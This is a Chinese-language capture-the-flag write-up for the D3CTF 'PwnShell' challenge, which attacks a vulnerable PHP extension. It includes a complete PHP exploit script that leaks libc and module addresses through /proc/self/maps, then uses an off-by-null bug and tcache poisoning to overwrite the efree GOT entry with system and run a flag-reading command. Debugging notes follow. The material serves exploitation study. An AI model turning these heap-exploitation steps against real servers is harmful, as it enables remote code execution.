D3CTF PwnShell

[TOC] 参考博客1

题目分析

  • 题目中add是一个堆块ck2存另一个堆块的地址ck1,这就有了利用的机会,如果可以控制ck2的内容,那么就有任意地址写 alt text
  • edit是通过*ck2来找到ck1的,因此和add对应会有任意地址写
  • delete先free ck1再free ck2

exp

  • 还是用/proc/self/maps来泄露libcbase和vuln.so的base
  • off-by-null的利用,注意到$b都是0x3f字节,为了避免off-by-null,free(7)后再add出来$c是0x40字节,就会覆盖ck8’中存的ck8的地址,也即是图中0x80变成0x00,也就是对应着ck5 alt text alt text
  • 那么edit(8)就相当于edit ck5了,先把ck5 free掉,然后edit(8)就类似tcache poison的打法alt text
  • 第一次add出ck5,第二次add就是efree_got了,add同时写入systemalt text alt text
  • 最后类似打hijackgot攻击成功
<?php
function str2Hex($str) {
    $hex = "";
    for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i]));
    $hex = strtoupper($hex);
    return $hex;
}

function int2Str($i, $x = 8) {
    $re = "";
    for ($j = 0; $j < $x; $j++) {
        $re .= pack('C', $i & 0xff);
        $i >>= 8;
    }
    return $re;
}
function hex64(int $value):string{
    static $hex64_table=[
        0=>"0",1=>"1",2=>"2",3=>"3",4=>"4",5=>"5",6=>"6",7=>"7",8=>"8",9=>"9",10=>"a",
        11=>"b",12=>"c",13=>"d",14=>"e",15=>"f"
    ];
    $result = "";
    for($i = 0; $i < 16; $i++){
        $remainder = $value % 0x10;
        $value =  (int)($value/0x10);
        $result = $hex64_table[$remainder] . $result;
    }
    return "0x" . $result;
}
function leakaddr($buffer){
    global $libc,$mbase;
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
    // echo $buffer.'<br>';
    preg_match_all($p, $buffer, $libc);
    preg_match_all($p1, $buffer, $mbase);
    return "";
}

$libc="";
$mbase="";

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);
echo hex64($libc_base).'<br>';
echo hex64($mod_base).'<br>';

$system_addr = 0x4c490;
$efree_got = 0x4038;

$a = str_repeat("a", 0x40);
$b = str_repeat("b", 0x3f);

for ($i = 1; $i < 0xe; $i++) {
    $n = 0x61 + $i;
    $aa = pack("C", $n);
    $aaa = str_repeat($aa, 0x40);  //0x40大小的堆块
    //addHacker中arg1是被放在另一个堆块上的
    addHacker($aaa, $b);    
}

$cmd = "/readflag > /var/www/html/flag.txt\x00";
editHacker(0,$cmd);

removeHacker(7);
$c = str_repeat("c", 0x40);
//这里会利用off-by-null
addHacker($a, $c); //把原来7的位置顶替,同时覆盖8原来的存的ck的最低字节为\x00

removeHacker(5);  
editHacker(8, int2str($mod_base+$efree_got));  #edit 8 相当于可以edit ck5 

addHacker($a, $b);  

$payload = str_repeat(int2str($libc_base+$system_addr),8);

addHacker($payload, $b);
removeHacker(0);
?>

心得体会

  • php中的string、go中的slice还有C++中的string都会在栈上开辟空间,这是很常见的。然后再把先前开的空间存的字符串复制到malloc开辟的空间上。
  • 调试用到的指令
gdbserver 172.17.0.2:7777  /usr/local/bin/php /var/www/html/exp.php
target remote 172.17.0.2:7777

b _start
b *&__libc_start_main+128
b *&__libc_start_call_main+120
b *0x555555647a61

b zif_addHacker
b zif_removeHacker
b zif_editHacker
b zif_displayHacker

telescope 0x7ffff44750a0  arg2
telescope 0x7ffff448b000  arg1

telescope 0x7ffff44752d0 存ck7的chunk
telescope 0x7ffff448b280  ck7

telescope 0x7ffff448b200 ck5的位置

0x7ffff4475280 存ck6的chunk
0x7ffff448b240  ck6

strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GLIBC"